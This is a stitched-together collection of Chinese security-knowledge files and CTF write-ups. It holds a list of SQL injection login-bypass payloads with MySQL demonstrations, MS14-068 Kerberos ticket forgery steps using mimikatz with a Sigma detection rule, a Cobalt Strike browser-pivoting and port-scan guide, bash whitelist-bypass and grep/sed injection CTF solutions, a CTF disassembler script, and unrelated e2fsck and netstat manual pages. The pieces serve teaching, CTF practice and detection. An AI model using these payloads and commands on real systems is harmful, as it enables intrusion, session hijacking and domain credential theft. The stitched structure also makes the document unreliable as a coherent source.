"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
```
其实根据前面的文章我们很容易看出 他的原理就是让我们的条件恒成立 至于为什么这么多种,就是根据语句的形势来闭合的,
这里面涉及到运算符的优先级,MySQL运算的特性,然后下面我们以几个例子来做做最另类的万能密码
```
mysql> select * from admin where name = '/*' and pass = '*/';
Empty set (0.00 sec)
```
注释绕过
```
mysql> select * from admin where name = ''or 1=1-- ' and pass = '123';
-> ;
+----+-----------+-------+
| id | name | pass |
+----+-----------+-------+
| 1 | admin | admin |
| 2 | admin'111 | 11111 |
| 3 | admin'111 | 11 |
| 4 | admin'111 | 11 |
+----+-----------+-------+
4 rows in set (0.00 sec)
```
经典的`or 1=1-- ` 其中1=1恒为true 然后导致每条数据都成立返回
那么知道了这个原理怎么构造一个简单的万能密码呢
```
mysql> select ''=0
-> ;
+------+
| ''=0 |
+------+
| 1 |
+------+
1 row in set (0.00 sec)
mysql> select 1=0=0;
+-------+
| 1=0=0 |
+-------+
| 1 |
+-------+
1 row in set (0.30 sec)
```
我们可以看到在mysql中 空字符串'' 等于0 为1 也就是true 知道这个特性我们可以来构造我们的万能密码了
```
mysql> select * from admin where name = ''|0#' and pass = '123';
-> ;
+----+-----------+-------+
| id | name | pass |
+----+-----------+-------+
| 1 | admin | admin |
| 2 | admin'111 | 11111 |
| 3 | admin'111 | 11 |
| 4 | admin'111 | 11 |
+----+-----------+-------+
4 rows in set, 5 warnings (0.00 sec)
```
仅仅用了 `'|0#` 个字符就能达到我们的效果 其他方法大家还可以测试,因为是自己发现的,然后问了几个师傅 发现ctf已经别人都用过了 ,不得不承认自己的知识量远远不够。
# 0x01 文末
#### 本文如有错误,请及时提醒,避免误导他人
* author:404
|
sec-knowleage
|
# T1212-windows-MS14-068-PYKEK
## 来自ATT&CK的描述
攻击者可能会利用软件漏洞来尝试收集凭据。当攻击者利用程序,服务或操作系统软件或内核本身内的编程错误来执行攻击者控制的代码时,就会利用软件漏洞。凭据和身份验证机制可能会被攻击者利用,以此作为获取有用凭据的途径或规避获取系统访问权限的过程。其中一个示例是MS14-068,它针对Kerberos,可用于使用域用户权限伪造Kerberos票证.对凭据访问的利用还可能导致特权升级,具体取决于目标过程或获取的凭据。
## 测试案例
可参考:[内网渗透之PTH&PTT&PTK](https://www.bbsmax.com/A/A7zgkjRPz4/)
## 检测日志
windows 安全日志(AD域控日志)
## 测试复现
测试步骤
域控主机(Windows server 2008)
域内主机(Windows 7 SP1)
```cmd
whoami /user #域内主机查找当前用户SID
dir \\DC\C$ #查看访问DC的权限
ms14-.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码 #域机器是可以和域控制器互通则会创建.ccache文件
```
票据注入
```cmd
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
```
使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
## 测试留痕
测试留痕文件:[MS14-068-PYKEK-windows.log](https://github.com/12306Bro/Threathunting-book/tree/master/Eventdata/MS14-068/PYKEK)
## 检测规则/思路
### sigma规则
```yml
title: MS14-068-PYKEK
description: windows server 2008 / windows 7
references: https://github.com/ThreatHuntingProject/ThreatHunting/blob/master/hunts/golden_ticket.md
tags: T1212
status: experimental
author: 12306Bro
logsource:
product: windows
service: Security
detection:
selection1:
EventID: 4624 #账户登录
Account Domain: '*.*' #新登录>账户域(正常情况下,账户域应为ABC,当存在PYKEK攻击时,账户域为ABC.COM)
Account Name: '*' #新登录>账户名(不同于安全标识的帐户,此条件实现起来较为复杂)
selection2:
EventID: 4672 #管理员登录
Account Domain: '*.*' #账户域(正常情况下,账户域应为ABC,当存在PYKEK攻击时,账户域为ABC.COM)
selection3:
EventID: 4768 #Kerberos TGS请求
Supplied Realm Name: '*.*' #已提供的领域名称(正常情况下,已提供的领域名称应为ABC,当存在PYKEK攻击时,已提供的领域名称为ABC.COM)
timeframe: last 5s
condition: all of them
level: medium
```
### 建议
本规则未经过实际环境检验,谨慎使用
## 参考推荐
MITRE-ATT&CK-T1212
<https://attack.mitre.org/techniques/T1212/>
内网渗透之PTH&PTT&PTK
<https://www.bbsmax.com/A/A7zgkjRPz4/>
|
sec-knowleage
|
import sys
drum = open(sys.argv[1], "rb").read()
s = open("emulator", "rb").read()
s = s[s.find(b"\xd0\x82\x00"):]
s = s.split(b"\x00\x00\x00")[0].split(b"\x00")
charset = []
for ss in s:
try:
sss = ss.decode()
except:
sss = "???"
charset.append(sss)
def as_trit(b):
return "-0+"[b]
def to_int(tr):
n = 0
p3 = 1
for c in tr[::-1]:
n += ("-0+".index(c)-1) * p3
p3 *= 3
return n
def to_int_pack(tr):
n = 0
p3 = 1
for c in tr[::-1]:
n += ("-0+".index(c)) * p3
p3 *= 4
return n
sector = 0
while drum:
print("SECTOR %d:" % sector)
sector += 1
sec = drum[:135]
drum = drum[135:]
words = []
chars = []
while sec:
w = sec[:5]
sec = sec[5:]
v = 0
for c in w:
v = (v<<8) | c
s = ""
for i in range(0,36,2):
s += as_trit((v>>i)&3)
s = s[::-1]
words.append(s)
for j,tryte in enumerate([s[:9], s[9:]]):
tryte = to_int(tryte)
if tryte < 0:
chars.append("\x00")
continue
if tryte < 128:
chars.append(chr(tryte))
elif tryte < 256:
chars.append(charset[tryte-128])
else:
chars.append("\x00")
while words and words[-1] == "0" * 18:
words.pop()
stringsectors = [3, 10, 11, 12, 13, 14, 27, 28, 29, 30, 31, 32, 33, 34]
if (sector-1) in stringsectors:
chars = "".join(chars).split("\x00")[0]
print("--- as string:")
print(chars)
print("---")
call = -1
for i,word in enumerate(words):
if (sector-1) in stringsectors and i < len(chars)//2:
continue
for j,tryte in enumerate([word[:9], word[9:]]):
opcode = tryte[5:8]
opci = to_int_pack(opcode)
imm = tryte[:5]
sm = tryte[8]
lo5 = tryte[-5:]
b6 = imm[0]
b6s = {"-": "X", "0": "Y", "+": "Z"}[b6]
lo5s = {"-": "X", "0": "Y", "+": "Z"}[lo5[0]]
lo5s += str(13+to_int(lo5[1:4]))
if to_int(lo5[-1]) == -1:
pass
else:
lo5s += "." + ["hi", "lo"][to_int(lo5[-1])]
if lo5s[0] == "Y":
lo5s = lo5s[1:]
lo = imm[1:]
ft = to_int(lo)-1
b5 = imm[1:4]
wd = b6s + str(to_int(b5) + 13)
b7 = imm[4]
if to_int(b7) == -1:
tr = wd
else:
tr = wd + "." + ["hi", "lo"][to_int(b7)]
indir = ""
if sm == "+":
indir = "(V+) "
elif sm == "-":
indir = "(V-)"
dis = "unk #%d (0x%x)" % (to_int(tryte), to_int(tryte))
if opci == 4:
dis = "%s = drumsector %d" % (b6s, ft)
elif opci == 5:
try:
dis = "IO.%s %s" % (
{"-+++": "audio", "----": "puts", "---0": "gets"}[lo], b6s)
except KeyError:
dis = "IO.broken"
elif opci == 6:
dis = "drumsector %d = %s" % (ft, b6s)
elif opci == 9:
dis = "shift ACC, %s" % tr
elif opci == 10:
dis = "mov %s, ACC" % tr
elif opci == 16:
dis = "add V, %s" % tr
elif opci == 17:
dis = "mov V, %s" % tr
elif opci == 18:
dis = "mov V, pc+%s" % tr
elif opci == 20:
dis = "mov %s, V" % tr
elif opci == 21:
dis = "jmp 1+%s" % tr
elif opci == 22:
dis = "mov %s, pc" % tr
elif opci == 24:
dis = "jneg 1+%s" % tr
elif opci == 25:
dis = "jzer 1+%s" % tr
elif opci == 26:
dis = "jpos 1+%s" % tr
elif opci == 32:
dis = "halt"
elif opci == 33:
dis = "weirdxor ACC, %s" % tr
elif opci == 34:
dis = "mov BETA, %s" % tr
elif opci == 36:
dis = "sub ACC, %s" % tr
elif opci == 37:
dis = "mov ACC, %s" % tr
elif opci == 38:
dis = "add ACC, %s" % tr
elif opci == 40:
dis = "mov ACC, %s + ACC*BETA" % tr
elif opci == 41:
dis = "mul ACC, %s" % tr
elif opci == 42:
dis = "add ACC, %s * BETA" % tr
if call == 0:
call += 1
dis = " sector: %d" % (to_int(tryte)-1)
indir = ""
elif call == 1:
call += 1
dis = " off: %s+1" % (lo5s)
indir = ""
else:
if "jmp 1+Z26.lo" in dis:
dis = dis.replace("jmp 1+Z26.lo", "call")
call = 0
dis = dis.replace("jmp 1+X6.hi", "return")
print("%02d.%s: %s.%s.%s [% 5x] %s%s" % (i, ["hi","lo"][j], imm,opcode,sm,to_int(tryte),indir,dis))
|
sec-knowleage
|
e2fsck
===
用于检查第二扩展文件系统的完整性
## 补充说明
**e2fsck命令** 用于检查第二扩展文件系统的完整性,通过适当的选项可以尝试修复出现的错误。
e2fsck执行后的传回值及代表意义如下:
* 0 没有任何错误发生。
* 1 文件系统发生错误,并且已经修正。
* 2 文件系统发生错误,并且已经修正。
* 4 文件系统发生错误,但没有修正。
* 8 运作时发生错误。
* 16 使用的语法发生错误。
* 128 共享的函数库发生错误。
### 语法
```shell
e2fsck(选项)(参数)
```
### 选项
```shell
-a:不询问使用者意见,便自动修复文件系统;
-b<superblock>:指定superblock,而不使用预设的superblock;
-B<区块大小>:指定区块的大小,单位为字节;
-c:一并执行badblocks,以标示损坏的区块;
-C:将检查过程的信息完整记录在file descriptor中,使得整个检查过程都能完整监控;
-d:显示排错信息;
-f:即使文件系统没有错误迹象,仍强制地检查正确性;
-F:执行前先清除设备的缓冲区;
-l<文件>:将文件中指定的区块加到损坏区块列表;
-L<文件>:先清除损坏区块列表,再将文件中指定的区块加到损坏区块列表。因此损坏区块列表的区块跟文件中指定的区块是一样的;
-n:以只读模式开启文件系统,并采取非互动方式执行,所有的问题对话均设置以"no"回答;
-p:不询问使用者意见,便自动修复文件系统;
-r:此参数只为了兼容性而存在,并无实际作用;
-s:如果文件系统的字节顺序不适当,就交换字节顺序,否则不做任何动作;
-S:不管文件系统的字节顺序,一律交换字节顺序;
-t:显示时间信息;
-v:执行时显示详细的信息;
-V:显示版本信息;
-y:采取非互动方式执行,所有的问题均设置以"yes"回答。
```
### 参数
文件系统或者分区:指定文件系统或者分区所对应的设备文件名。
### 实例
检查`/dev/sda1`是否有问题,如发现问题便自动修复:
```shell
e2fsck -a -y /dev/sda1
```
执行e2fsck或fsck前请先umount partition,否则有机会令档案系统毁损。如果需要对根目录`/`进行检查及修复,便需要进入singal user mode执行。
|
sec-knowleage
|
.\"
.\" netstat.8
.\"
.\" Original: (mdw@tc.cornell.edu & dc6iq@insu1.etec.uni-karlsruhe.de)
.\"
.\" Modified: Bernd.Eckenfels@inka.de
.\" Modified: Andi Kleen ak@muc.de
.\" Modified: Tuan Hoang tqhoang@bigfoot.com
.\"
.\"
.TH NETSTAT 8 "19 December 2000" "net-tools" "Linux Programmer's Manual"
.SH NAME
netstat \- 显示网络连接,路由表,接口状态,伪装连接,网络链路信息和组播成员组。
.SH 总览 SYNOPSIS
.B netstat
.RI [ address_family_options ]
.RB [ \-\-tcp | \-t ]
.RB [ \-\-udp | \-u ]
.RB [ \-\-raw | \-w ]
.RB [ \-\-listening | \-l ]
.RB [ \-\-all | \-a ]
.RB [ \-\-numeric | \-n ]
.RB [ \-\-numeric-hosts ] [ \-\-numeric-ports ] [ \-\-numeric-ports ]
.RB [ \-\-symbolic | \-N ]
.RB [ \-\-extend | \-e [ \-\-extend | \-e] ]
.RB [ \-\-timers | \-o ]
.RB [ \-\-program | \-p ]
.RB [ \-\-verbose | \-v ]
.RB [ \-\-continuous | \-c]
.RB [delay]
.P
.B netstat
.RB { \-\-route | \-r }
.RI [ address_family_options ]
.RB [ \-\-extend | \-e [ \-\-extend | \-e] ]
.RB [ \-\-verbose | \-v ]
.RB [ \-\-numeric | \-n ]
.RB [ \-\-numeric-hosts ] [ \-\-numeric-ports ] [ \-\-numeric-ports ]
.RB [ \-\-continuous | \-c]
.RB [delay]
.P
.B netstat
.RB { \-\-interfaces | \-i }
.RI [ iface ]
.RB [ \-\-all | \-a ]
.RB [ \-\-extend | \-e [ \-\-extend | \-e] ]
.RB [ \-\-verbose | \-v ]
.RB [ \-\-program | \-p ]
.RB [ \-\-numeric | \-n ]
.RB [ \-\-numeric-hosts ] [ \-\-numeric-ports ] [ \-\-numeric-ports ]
.RB [ \-\-continuous | \-c]
.RB [delay]
.P
.B netstat
.RB { \-\-groups | \-g }
.RB [ \-\-numeric | \-n ]
.RB [ \-\-numeric-hosts ] [ \-\-numeric-ports ] [ \-\-numeric-ports ]
.RB [ \-\-continuous | \-c]
.RB [delay]
.P
.B netstat
.RB { \-\-masquerade | \-M }
.RB [ \-\-extend | \-e ]
.RB [ \-\-numeric | \-n ]
.RB [ \-\-numeric-hosts ] [ \-\-numeric-ports ] [ \-\-numeric-ports ]
.RB [ \-\-continuous | \-c]
.RB [delay]
.P
.B netstat
.RB { \-\-statistics | -s }
.RB [ \-\-tcp | \-t ]
.RB [ \-\-udp | \-u ]
.RB [ \-\-raw | \-w ]
.RB [delay]
.P
.B netstat
.RB { \-\-version | \-V }
.P
.B netstat
.RB { \-\-help | \-h }
.P
.IR address_family_options :
.PP
.RB [ \-\-protocol= { inet , unix , ipx , ax25 , netrom , ddp }[, ...] ]
.RB [ \-\-unix | \-x ]
.RB [ \-\-inet | \-\-ip ]
.RB [ \-\-ax25 ]
.RB [ \-\-ipx ]
.RB [ \-\-netrom ]
.RB [ \-\-ddp ]
.SH 描述 DESCRIPTION
.B Netstat
程序显示Linux网络子系统的信息。 输出信息的类型是由第一个参数控制的,就像这样:
.SS (none)
无选项时,
.B netstat
显示打开的套接字. 如果不指定任何地址族,那么打印出所有已配置地址族的有效套接字。
.SS "\-\-route , \-r"
显示内核路由表。
.SS "\-\-groups , \-g"
显示IPv4 和 IPv6的IGMP组播组成员关系信息。
.SS "\-\-interface=\fIiface \fR, \fB\-i"
显示所有网络接口列表或者是指定的
.IR iface
。
.SS "\-\-masquerade , \-M"
显示一份所有经伪装的会话列表。
.SS "\-\-statistics , \-s"
显示每种协议的统计信息。
.SH 选项 OPTIONS
.SS "\-\-verbose , \-v"
详细模式运行。特别是打印一些关于未配置地址族的有用信息。
.SS "\-\-numeric , \-n"
显示数字形式地址而不是去解析主机、端口或用户名。
.SS "\-\-numeric-hosts"
显示数字形式的主机但是不影响端口或用户名的解析。
.SS "\-\-numeric-ports"
显示数字端口号,但是不影响主机或用户名的解析。
.SS "\-\-numeric-users"
显示数字的用户ID,但是不影响主机和端口名的解析。
.SS "\-\-protocol=\fIfamily \fR, \fB\-A"
指定要显示哪些连接的地址族(也许在底层协议中可以更好地描述)。
.I family
以逗号分隔的地址族列表,比如
.BR inet ,
.BR unix ,
.BR ipx ,
.BR ax25 ,
.BR netrom ,
和
.BR ddp 。
这样和使用
.BR \-\-inet ,
.BR \-\-unix " (" \-x ),
.BR \-\-ipx ,
.BR \-\-ax25 ,
.BR \-\-netrom ,
和
.B \-\-ddp
选项效果相同。
.P
地址族
.B inet
包括raw, udp 和tcp 协议套接字。
.SS "\-c, \-\-continuous"
将使
.B netstat
不断地每秒输出所选的信息。
.SS "\-e, \-\-extend"
显示附加信息。使用这个选项两次来获得所有细节。
.SS "\-o, \-\-timers"
包含与网络定时器有关的信息。
.SS "\-p, \-\-program"
显示套接字所属进程的PID和名称。
.SS "\-l, \-\-listening"
只显示正在侦听的套接字(这是默认的选项)
.SS "\-a, \-\-all"
显示所有正在或不在侦听的套接字。加上
.B --interfaces
选项将显示没有标记的接口。
.SS "\-F"
显示FIB中的路由信息。(这是默认的选项)
.SS "\-C"
显示路由缓冲中的路由信息。
.SS delay
netstat将循环输出统计信息,每隔
.B delay
秒。
.P
.SH 输出 OUTPUT
.P
.SS 活动的Internet网络连接 \fR(TCP, UDP, raw)\fR
.SS "Proto"
套接字使用的协议。
.SS "Recv-Q"
连接此套接字的用户程序未拷贝的字节数。
.SS "Send-Q"
远程主机未确认的字节数。
.SS "Local Address"
套接字的本地地址(本地主机名)和端口号。除非给定-n
.BR \-\-numeric " (" \-n )
选项,否则套接字地址按标准主机名(FQDN)进行解析,而端口号则转换到相应的服务名。
.SS "Foreign Address"
套接字的远程地址(远程主机名)和端口号。
Analogous to "Local Address."
.SS "State"
套接字的状态。因为在RAW协议中没有状态,而且UDP也不用状态信息,所以此行留空。通常它为以下几个值之一:
.TP
.I
ESTABLISHED
套接字有一个有效连接。
.TP
.I
SYN_SENT
套接字尝试建立一个连接。
.TP
.I
SYN_RECV
从网络上收到一个连接请求。
.TP
.I
FIN_WAIT1
套接字已关闭,连接正在断开。
.TP
.I
FIN_WAIT2
连接已关闭,套接字等待远程方中止。
.TP
.I
TIME_WAIT
在关闭之后,套接字等待处理仍然在网络中的分组
.TP
.I
CLOSED
套接字未用。
.TP
.I
CLOSE_WAIT
远程方已关闭,等待套接字关闭。
.TP
.I
LAST_ACK
远程方中止,套接字已关闭。等待确认。
.TP
.I
LISTEN
套接字监听进来的连接。如果不设置
.BR \-\-listening " (" \-l )
或者
.BR \-\-all " (" \-a )
选项,将不显示出来这些连接。
.TP
.I
CLOSING
套接字都已关闭,而还未把所有数据发出。
.TP
.I
UNKNOWN
套接字状态未知。
.SS "User"
套接字属主的名称或UID。
.SS "PID/Program name"
以斜线分隔的处理套接字程序的PID及进程名。
.B --program
使此栏目被显示。你需要
.I superuser
权限来查看不是你拥有的套接字的信息。对IPX套接字还无法获得此信息。
.SS "Timer"
(this needs to be written)
.P
.SS 活动的UNIX域套接字
.SS "Proto"
套接字所用的协议(通常是unix)。
.SS "RefCnt"
使用数量(也就是通过此套接字连接的进程数)。
.SS "Flags"
显示的标志为SO_ACCEPTON(显示为
.BR ACC ),
SO_WAITDATA
.RB ( W )
或 SO_NOSPACE
.RB ( N )。
如果相应的进程等待一个连接请求,那么SO_ACCECPTON用于未连接的套接字。其它标志通常并不重要
.SS "Type"
套接字使用的一些类型:
.TP
.I
SOCK_DGRAM
此套接字用于数据报(无连接)模式。
.TP
.I
SOCK_STREAM
流模式(连接)套接字
.TP
.I
SOCK_RAW
此套接字用于RAW模式。
.TP
.I
SOCK_RDM
一种服务可靠性传递信息。
.TP
.I
SOCK_SEQPACKET
连续分组套接字。
.TP
.I
SOCK_PACKET
RAW接口使用套接字。
.TP
.I
UNKNOWN
将来谁知道它的话将告诉我们,就填在这里 :-)
.PP
.SS "State"
此字段包含以下关键字之一:
.TP
.I FREE
套接字未分配。
.TP
.I LISTENING
套接字正在监听一个连接请求。除非设置
.BR \-\-listening " (" \-l )
或者
.BR \-\-all " (" \-a )
选项,否则不显示。
.TP
.I CONNECTING
套接字正要建立连接。
.TP
.I CONNECTED
套接字已连接。
.TP
.I DISCONNECTING
套接字已断开。
.TP
.I (empty)
套接字未连。
.TP
.I UNKNOWN
!不应当出现这种状态的。
.SS "PID/Program name"
处理此套接字的程序进程名和PID。上面关于活动的Internet连接的部分有更详细的信息。
.SS "Path"
当相应进程连入套接字时显示路径名。
.P
.SS 活动的IPX套接字
(this needs to be done by somebody who knows it)
.P
.SS Active NET/ROM sockets
(this needs to be done by somebody who knows it)
.P
.SS Active AX.25 sockets
(this needs to be done by somebody who knows it)
.PP
.SH 注意 NOTES
从linux 2.2内核开始
.B netstat -i
不再显示别名接口的统计信息。要获得每个别名接口的计数器,则需要用
.BR ipchains(8)
命令。
.SH 文件 FILES
.ta
.I /etc/services
-- 服务解释文件
.I /proc
-- proc文件系统的挂载点。proc文件系统通过下列文件给出了内核状态信息。
.I /proc/net/dev
-- 设备信息
.I /proc/net/raw
-- RAW套接字信息
.I /proc/net/tcp
-- TCP套接字信息
.I /proc/net/udp
-- UDP套接字信息
.I /proc/net/igmp
-- IGMP组播信息
.I /proc/net/unix
-- Unix域套接字信息
.I /proc/net/ipx
-- IPX套接字信息
.I /proc/net/ax25
-- AX25套接字信息
.I /proc/net/appletalk
-- DDP(appletalk)套接字信息
.I /proc/net/nr
-- NET/ROM套接字信息
.I /proc/net/route
-- IP路由信息
.I /proc/net/ax25_route
-- AX25路由信息
.I /proc/net/ipx_route
-- IPX路由信息
.I /proc/net/nr_nodes
-- NET/ROM节点列表
.I /proc/net/nr_neigh
-- NET/ROM邻站
.I /proc/net/ip_masquerade
-- 伪装连接
.I /proc/net/snmp
-- 统计
.fi
.P
.SH 参见 SEE ALSO
.BR route (8),
.BR ifconfig (8),
.BR ipchains (8),
.BR iptables (8),
.BR proc (5)
.P
.SH BUGS
有时如果一个套接字在查看中发生了改变,会显示一些奇怪的信息。
一般不会发生这种情况。
.P
.SH 作者 AUTHORS
netstat 程序是 Fred Baumgarten<dc6iq@insu1.etec.uni-karlsruhe.de> 的作品。
手册页是Matt Welsh <mdw@tc.cornell.edu> 写的。
Alan Cox <Alan.Cox@linux.org> 做了一些更新,但是还需要做更多工作。
Tuan Hoang<tqhoang@bigfoot.com> 又做了一些更新。
.br
Bernd Eckenfels <ecki@linux.de> 彻底重写了手册页和net-tools工具包中的命令。
.SH "[中文版维护人]"
.B meaculpa <meaculpa@21cn.com>
.SH "[中文版最新更新]"
.B 2000/12/08
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# echoechoechoecho, 216p, 18 solves
> Echo echo echo echo, good luck
>
> nc 35.246.181.187 1337
In this task we are able to input commands to be executed on server. The catch is there
is a strict whitelist of allowed characters. The relevant code is:
```python
if re.search(r'[^();+$\\= \']', payload.replace("echo", "")):
bye("ERROR invalid characters")
# real echolords probably wont need more special characters than this
if payload.count("+") > 1 or \
payload.count("'") > 1 or \
payload.count(")") > 1 or \
payload.count("(") > 1 or \
payload.count("=") > 2 or \
payload.count(";") > 3 or \
payload.count(" ") > 30:
bye("ERROR Too many special chars.")
```
There is also an interesting snippet near the bottom:
```python
payload += "|bash"*count
```
In other words, we can execute any string consisting of rather small number of
`^();+$\= '` characters and `echo` strings and pipe it to bash up to ten times.
The most important thing to do is to increase number of limited characters (like brackets),
since it's clearly impossible to encode useful commands in so little space. Let's say
we want to have more than one `(` character. We can write:
```bash
echo=\(; echo $echo$echo$echo$echo
```
Which will print four left brackets after one bash pipe. We can encode the other limited characters in a similar
fashion (remembering to backslash-escape the inner string; thankfully backslashes are unlimited). Now that
we can do that, we should think of a way to encode arbitrary characters. It turns out there is a `$'abcd'` syntax
in bash, enabling
[ANSI-C quoting](https://www.gnu.org/software/bash/manual/html_node/ANSI_002dC-Quoting.html#ANSI_002dC-Quoting).
Of the features, the one useful for us are escape sequences: `$'\154\163'` will expand to `ls` after passing
through a layer of bash. We have all the characters needed except digits. We can make digits using bash
arithmetics though: `$(($$==$$))` is `1` and we can add up to nine ones to get any digit.
We wrote an automatic encoder of arbitrary commands, consisting of eight layers of encoding. We were able
to execute simple commands, like `ls -al` and found unreadable `flag` file and executable `getflag` binary.
It asked us to implement an arithmetic captcha, which turned out to be the same as
[here](https://hack.more.systems/writeup/2017/12/30/34c3ctf-minbashmaxfun/). We could copy the solver snippet
from there (we had to use temporary files to remember captcha while the binary was still running, so it
was not trivial).
For some reason the server seemed to break after receiving too much data (though
it was pretty hard to pinpoint the exact spot). The command admittedly grew rather large,
owing mostly to backslash exponential escaping. We optimized the encoding a bit (such as remembering
single `1` in another `$echo` variable in digit encoding stage) and eventually got the full command to pass.
For fun, here's the first 1000 characters (of over 100kB) of final payload:
```bash
echo=\=; echo echo$echo\\\;\; echo echo$echo\\\\+\$echo echo echo$echo\\\\\\\\\\\\\\\)\\\\\$echo echo echo$echo\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\(\\\\\\\\\\\\\$echo echo echo$echo\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\$echo echo echo$echo\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\$\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\$echo\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\$echo\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\$\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\$$echo$echo\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\$\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\$\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\$echo\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\$echo\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\$echo echo echo \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
```
The final encoder code is in `encode.py` file.
|
sec-knowleage
|
# 0x00 Browser Pivoting
Browser Pivoting 的功能事劫持目标的WEB会话,浏览此代理服务器时,将保存cookie信息,验证HTTP会话身份和客户端SSL证书。
beacon 命令行
```
beacon> help browserpivot
Use: browserpivot [pid] [x86|x64]
browserpivot [stop]
Setup a Browser Pivot into the specified process. To hijack authenticated
web sessions, make sure the process is an Internet Explorer tab. These
processes have iexplore.exe as their parent process.
Use "browserpivot stop" to tear down the browser pivoting sessions
associated with this Beacon.
```
>或者使用 目标右键 > Explore > Browser Pivot

选择你要注入的进程

然后在浏览器设置代理,访问网址

目标关闭正在使用的选项卡,则需要重新注入browser pivoting代理服务器。
# 0x01 Port Scan
命令行
```
Use: portscan [targets] [ports] [arp|icmp|none] [max connections]
Launches a port scan against the specified hosts.
[targets] is a comma separated list of hosts to scan. You may also specify
IPv4 address ranges (e.g., 192.168.1.128-192.168.2.240, 192.168.1.0/24)
[ports] is a comma separated list or ports to scan. You may specify port
ranges as well (e.g., 1-65535)
The [arp|icmp|none] options dictate how the port scanning tool will determine
if a host is alive. The ARP option uses ARP to see if a system responds to the
specified address. The ICMP option sends an ICMP echo request. The none option
tells the portscan tool to assume all hosts are alive.
The [max connections] option limits how many connections the port scan tool
will attempt at any one time. The portscan tool uses asynchronous I/O and
it's able to handle a large number of connections at one time. A higher value
will make the portscan go much faster. The default is 1024.
```
1. arp方法使用ARP请求来发现主机是否处于存活状态。
2. icmp方法发送ICMP echo请求来检查目标是否处于存活状态。
3. none选项告诉portscan工具假定所有主机都处于存活状态
>使用 目标右键 > Explore > port scan

可以选择网段、协议、以及最大链接数

扫描完成后我们可以在第三个视图看打我们的扫描结果,多选或者单选 右键 > Services 看到我们的扫描结果。

也可以通过右键 Scan 选择一个主机对他重扫描 none选项。
# 0x02 文末
一章讲一个功能感觉有点因此结合一下,第三个视图也是我们横向渗透经常用到的。
### 本文如有错误,请及时提醒,以免误导他人
|
sec-knowleage
|
# Environmental Issues (pwn or misc, depends on who you ask; 6 flags with varying solve counts)
The server greets us with
```
Hello! Send me a json array of [key, val, arg] lists and I will
execute `key=val bash script.sh arg' for each of them. You get
a flag when you have 10, 13, and 15 solutions with unique keys.
You may need to shutdown the input (send eof, -N in nc).
```
Let's address the elephant in the room first. Take a close look at this line
of the script:
```bash
line="$(grep "${1:?Missing arg1: name}" < issues.txt)"
```
Looks like we can inject grep flags without any environment variables. After
a bit of fiddling, we discover that short options can take an argument without
a space: `-fflag`. This will search the input for the flag (read from the flag file).
We can also combine options. At this point, we see that `-rfflag` works locally,
as it searches the entire current directory for the contents of the `flag` file,
and finds it in the flag file.
However, when we send this to the server, it hits the timeout. This is not too
surprising, as we're searching through the entire filesystem. As an optimization,
we added the `-I` (ignore binaries) and `-F` (search for fixed string) flags.
This lets us get as many points as we need:
```
[
["bepis", "bepis", "-rIFflag"],
["bepiS", "bepis", "-rIFflag"],
["bepIs", "bepis", "-rIFflag"],
["bepIS", "bepis", "-rIFflag"],
["bePis", "bepis", "-rIFflag"],
["bePiS", "bepis", "-rIFflag"],
["bePIs", "bepis", "-rIFflag"],
["bePIS", "bepis", "-rIFflag"],
["bEpis", "bepis", "-rIFflag"],
["bEpiS", "bepis", "-rIFflag"],
["bEpIs", "bepis", "-rIFflag"],
["bEpIS", "bepis", "-rIFflag"],
["bEPis", "bepis", "-rIFflag"],
["bEPiS", "bepis", "-rIFflag"],
["bEPIs", "bepis", "-rIFflag"],
["bEPIS", "bepis", "-rIFflag"]
]
```
Unsurprisingly, this lead to the release of a patched challenge, "Regulated
Environmental Issues":
```diff
- line="$(grep "${1:?Missing arg1: name}" < issues.txt)"
+ line="$(grep -- "${1:?Missing arg1: name}" < issues.txt)"
```
Let's look at the actual environment variables, then:
- grep prepends `GREP_OPTIONS` to its arguments. When we set `GREP_OPTIONS=Flag`,
we provide `Flag` as the search pattern, and the argument passed by the script
turns into the path being searched.
```
["GREP_OPTIONS","Flag","flag"],
```
- The script checks whether `USE_SED` is set. If so, we can inject sed commands.
Let's terminate the search command, and then use the `r` command to read the
flag file. Hide trailing characters with a comment.
```
["USE_SED","bepis","C/r flag\n#"],
```
- `BASH_ENV` contains a path to a file that is sourced by bash when executing scripts
